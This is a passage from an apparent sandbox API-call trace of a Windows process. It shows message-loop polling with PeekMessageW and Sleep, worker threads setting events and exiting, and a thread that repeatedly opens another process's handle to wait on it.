hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0219.610] Sleep (dwMilliseconds=0x64) [0219.719] timeGetTime () returned 0x3d245 [0219.719] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0219.719] Sleep (dwMilliseconds=0x64) [0219.839] timeGetTime () returned 0x3d2b3 [0219.839] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0219.839] Sleep (dwMilliseconds=0x64) [0219.953] timeGetTime () returned 0x3d330 [0219.953] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0219.953] Sleep (dwMilliseconds=0x64) [0220.066] timeGetTime () returned 0x3d39d [0220.066] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0220.066] Sleep (dwMilliseconds=0x64) [0220.179] timeGetTime () returned 0x3d40a [0220.179] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0220.179] Sleep (dwMilliseconds=0x64) [0220.282] timeGetTime () returned 0x3d478 [0220.282] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0220.282] Sleep (dwMilliseconds=0x64) [0220.391] timeGetTime () returned 0x3d4e5 [0220.391] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0220.391] Sleep (dwMilliseconds=0x64) [0220.500] timeGetTime () returned 0x3d553 [0220.500] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0220.500] Sleep (dwMilliseconds=0x64) [0220.610] timeGetTime () returned 0x3d5c0 [0220.610] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0220.610] Sleep (dwMilliseconds=0x64) [0220.719] timeGetTime () returned 0x3d62d [0220.719] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0220.719] Sleep (dwMilliseconds=0x64) [0220.829] timeGetTime () returned 0x3d69b [0220.829] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0220.829] Sleep (dwMilliseconds=0x64) [0220.938] timeGetTime () returned 0x3d708 [0220.938] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0220.938] Sleep (dwMilliseconds=0x64) [0221.052] timeGetTime () returned 0x3d775 [0221.052] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0221.052] Sleep (dwMilliseconds=0x64) [0221.157] timeGetTime () returned 0x3d7e3 [0221.157] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0221.157] Sleep (dwMilliseconds=0x64) [0221.266] timeGetTime () returned 0x3d850 [0221.266] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0221.266] Sleep (dwMilliseconds=0x64) [0221.376] timeGetTime () returned 0x3d8be [0221.376] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0221.376] Sleep (dwMilliseconds=0x64) [0221.485] timeGetTime () returned 0x3d92b [0221.485] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0221.485] Sleep (dwMilliseconds=0x64) [0221.594] timeGetTime () returned 0x3d998 [0221.594] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0221.594] Sleep (dwMilliseconds=0x64) [0221.704] timeGetTime () returned 0x3da06 [0221.704] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0221.704] Sleep (dwMilliseconds=0x64) [0221.813] timeGetTime () returned 0x3da73 [0221.813] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0221.813] Sleep (dwMilliseconds=0x64) [0221.922] timeGetTime () returned 0x3dae0 [0221.922] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0221.922] Sleep (dwMilliseconds=0x64) [0222.032] timeGetTime () returned 0x3db4e [0222.032] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0222.032] Sleep (dwMilliseconds=0x64) [0222.141] timeGetTime () returned 0x3dbbb [0222.141] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0222.141] Sleep (dwMilliseconds=0x64) [0222.250] timeGetTime () returned 0x3dc29 [0222.250] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0222.250] Sleep (dwMilliseconds=0x64) [0222.360] timeGetTime () returned 0x3dc96 [0222.360] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0222.360] Sleep (dwMilliseconds=0x64) [0222.469] timeGetTime () returned 0x3dd03 [0222.469] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0222.469] Sleep (dwMilliseconds=0x64) [0222.579] timeGetTime () returned 0x3dd71 [0222.579] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0222.579] Sleep (dwMilliseconds=0x64) [0222.688] timeGetTime () returned 0x3ddde [0222.688] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0222.688] Sleep (dwMilliseconds=0x64) [0222.797] timeGetTime () returned 0x3de4b [0222.797] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0222.797] Sleep (dwMilliseconds=0x64) [0222.907] timeGetTime () returned 0x3deb9 [0222.907] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0222.907] Sleep (dwMilliseconds=0x64) [0223.016] timeGetTime () returned 0x3df26 [0223.016] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0223.016] Sleep (dwMilliseconds=0x64) [0223.125] timeGetTime () returned 0x3df94 [0223.125] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0223.125] Sleep (dwMilliseconds=0x64) [0223.235] timeGetTime () returned 0x3e001 [0223.235] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0223.235] Sleep (dwMilliseconds=0x64) [0223.344] timeGetTime () returned 0x3e06e [0223.344] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0223.344] Sleep (dwMilliseconds=0x64) [0223.454] timeGetTime () returned 0x3e0dc [0223.454] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0223.454] Sleep (dwMilliseconds=0x64) [0223.563] timeGetTime () returned 0x3e149 [0223.563] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0223.563] Sleep (dwMilliseconds=0x64) [0223.672] timeGetTime () returned 0x3e1b6 [0223.672] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0223.672] Sleep (dwMilliseconds=0x64) [0223.782] timeGetTime () returned 0x3e224 [0223.782] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0223.782] Sleep (dwMilliseconds=0x64) [0223.891] timeGetTime () returned 0x3e292 [0223.891] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0223.891] Sleep (dwMilliseconds=0x64) [0224.007] timeGetTime () returned 0x3e305 [0224.007] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0224.007] Sleep (dwMilliseconds=0x64) [0224.116] timeGetTime () returned 0x3e373 [0224.116] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0224.116] Sleep (dwMilliseconds=0x64) [0224.226] timeGetTime () returned 0x3e3e0 [0224.226] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0224.226] Sleep (dwMilliseconds=0x64) [0224.335] timeGetTime () returned 0x3e44d [0224.335] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0224.335] Sleep (dwMilliseconds=0x64) [0224.444] timeGetTime () returned 0x3e4bb [0224.444] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0224.444] Sleep (dwMilliseconds=0x64) [0224.554] timeGetTime () returned 0x3e528 Thread: id = 28 os_tid = 0x67c [0198.786] GetCurrentThreadId () returned 0x67c [0198.786] GetLastError () returned 0x0 [0198.786] SetLastError (dwErrCode=0x0) [0198.786] SetEvent (hEvent=0x258) returned 1 [0198.790] InterlockedExchangeAdd (in: Addend=0xc86e04, Value=0 | out: Addend=0xc86e04) returned 0 [0198.790] WaitForSingleObject (hHandle=0x254, dwMilliseconds=0xffffffff) returned 0x0 [0204.355] PostQueuedCompletionStatus (CompletionPort=0x250, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x1, lpOverlapped=0x0) returned 1 [0204.355] InterlockedExchangeAdd (in: Addend=0xc86e04, Value=0 | out: Addend=0xc86e04) returned 1 [0204.356] SetEvent (hEvent=0x25c) returned 1 [0204.356] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0204.357] GetLastError () returned 0x0 [0204.357] SetLastError (dwErrCode=0x0) [0204.357] RtlExitUserThread (Status=0x0) Thread: id = 30 os_tid = 0xc34 Thread: id = 31 os_tid = 0xd9c [0209.465] GetCurrentThreadId () returned 0xd9c [0209.465] GetLastError () returned 0x0 [0209.465] SetLastError (dwErrCode=0x0) [0209.465] SetEvent (hEvent=0x25c) returned 1 [0209.472] InterlockedExchangeAdd (in: Addend=0xc9059c, Value=0 | out: Addend=0xc9059c) returned 1 [0209.472] SetEvent (hEvent=0x258) returned 1 [0209.472] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0209.472] GetLastError () returned 0x0 [0209.472] SetLastError (dwErrCode=0x0) [0209.472] RtlExitUserThread (Status=0x0) Thread: id = 32 os_tid = 0x9b8 [0214.473] GetCurrentThreadId () returned 0x9b8 [0214.473] GetLastError () returned 0x0 [0214.473] SetLastError (dwErrCode=0x0) [0214.473] SetEvent (hEvent=0x254) returned 1 [0214.482] InterlockedExchangeAdd (in: Addend=0xc9059c, Value=0 | out: Addend=0xc9059c) returned 1 [0214.482] SetEvent (hEvent=0x258) returned 1 [0214.482] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0214.482] GetLastError () returned 0x0 [0214.482] SetLastError (dwErrCode=0x0) [0214.483] RtlExitUserThread (Status=0x0) Thread: id = 33 os_tid = 0x57c [0219.486] GetCurrentThreadId () returned 0x57c [0219.486] GetLastError () returned 0x0 [0219.486] SetLastError (dwErrCode=0x0) [0219.486] SetEvent (hEvent=0x30c) returned 1 [0219.493] InterlockedExchangeAdd (in: Addend=0xc95604, Value=0 | out: Addend=0xc95604) returned 1 [0219.493] SetEvent (hEvent=0x258) returned 1 [0219.493] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0219.493] GetLastError () returned 0x0 [0219.493] SetLastError (dwErrCode=0x0) [0219.493] RtlExitUserThread (Status=0x0) Thread: id = 53 os_tid = 0xb04 [0224.675] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x254 [0224.675] WaitForSingleObject (hHandle=0x254, dwMilliseconds=0xa) returned 0x102 [0224.679] CloseHandle (hObject=0x254) returned 1 [0224.679] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0224.679] Sleep (dwMilliseconds=0x1) [0224.694] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0224.694] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0224.710] CloseHandle (hObject=0x258) returned 1 [0224.710] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0224.710] Sleep (dwMilliseconds=0x1) [0224.727] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0224.727] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0224.741] CloseHandle (hObject=0x258) returned 1 [0224.741] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0224.741] Sleep (dwMilliseconds=0x1) [0224.757] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0224.757] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0224.773] CloseHandle (hObject=0x258) returned 1 [0224.773] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0224.773] Sleep (dwMilliseconds=0x1) [0224.793] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0224.793] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0224.805] CloseHandle (hObject=0x258) returned 1 [0224.805] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0224.805] Sleep (dwMilliseconds=0x1) [0224.819] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0224.819] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0224.836] CloseHandle (hObject=0x258) returned 1 [0224.836] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0224.836] Sleep (dwMilliseconds=0x1) [0224.837] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0224.837] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0224.847] CloseHandle (hObject=0x258) returned 1 [0224.848] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0224.848] Sleep (dwMilliseconds=0x1) [0224.849] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0224.849] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0224.859] CloseHandle (hObject=0x258) returned 1 [0224.859] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0224.859] Sleep (dwMilliseconds=0x1) [0224.861] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0224.861] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0224.882] CloseHandle (hObject=0x258) returned 1 [0224.882] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0224.882] Sleep (dwMilliseconds=0x1) [0224.897] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0224.897] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0224.913] CloseHandle (hObject=0x258) returned 1 [0224.913] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0224.913] Sleep (dwMilliseconds=0x1) [0224.929] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0224.929] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0224.944] CloseHandle (hObject=0x258) returned 1 [0224.944] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0224.944] Sleep (dwMilliseconds=0x1) [0224.960] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0224.960] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0224.975] CloseHandle (hObject=0x258) returned 1 [0224.975] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0224.976] Sleep (dwMilliseconds=0x1) [0224.992] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0224.992] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.001] CloseHandle (hObject=0x258) returned 1 [0225.001] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.001] Sleep (dwMilliseconds=0x1) [0225.003] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.003] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.028] CloseHandle (hObject=0x258) returned 1 [0225.028] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.029] Sleep (dwMilliseconds=0x1) [0225.043] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.043] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.059] CloseHandle (hObject=0x258) returned 1 [0225.059] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.059] Sleep (dwMilliseconds=0x1) [0225.102] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.102] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.106] CloseHandle (hObject=0x258) returned 1 [0225.106] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.106] Sleep (dwMilliseconds=0x1) [0225.121] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.122] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.137] CloseHandle (hObject=0x258) returned 1 [0225.137] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.137] Sleep (dwMilliseconds=0x1) [0225.153] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.153] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.168] CloseHandle (hObject=0x258) returned 1 [0225.168] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.168] Sleep (dwMilliseconds=0x1) [0225.184] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.184] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.200] CloseHandle (hObject=0x258) returned 1 [0225.200] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.200] Sleep (dwMilliseconds=0x1) [0225.215] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.215] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.231] CloseHandle (hObject=0x258) returned 1 [0225.231] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.231] Sleep (dwMilliseconds=0x1) [0225.247] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.247] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.262] CloseHandle (hObject=0x258) returned 1 [0225.262] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.262] Sleep (dwMilliseconds=0x1) [0225.278] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.278] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.293] CloseHandle (hObject=0x258) returned 1 [0225.293] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.293] Sleep (dwMilliseconds=0x1) [0225.309] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.309] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.325] CloseHandle (hObject=0x258) returned 1 [0225.325] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.325] Sleep (dwMilliseconds=0x1) [0225.340] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.340] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.356] CloseHandle (hObject=0x258) returned 1 [0225.356] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.356] Sleep (dwMilliseconds=0x1) [0225.371] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.371] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.387] CloseHandle (hObject=0x258) returned 1 [0225.387] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.387] Sleep (dwMilliseconds=0x1) [0225.403] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.403] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.424] CloseHandle (hObject=0x258) returned 1 [0225.425] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.425] Sleep (dwMilliseconds=0x1) [0225.434] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.434] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.450] CloseHandle (hObject=0x258) returned 1 [0225.450] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.450] Sleep (dwMilliseconds=0x1) [0225.465] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.465] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.481] CloseHandle (hObject=0x258) returned 1 [0225.481] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, 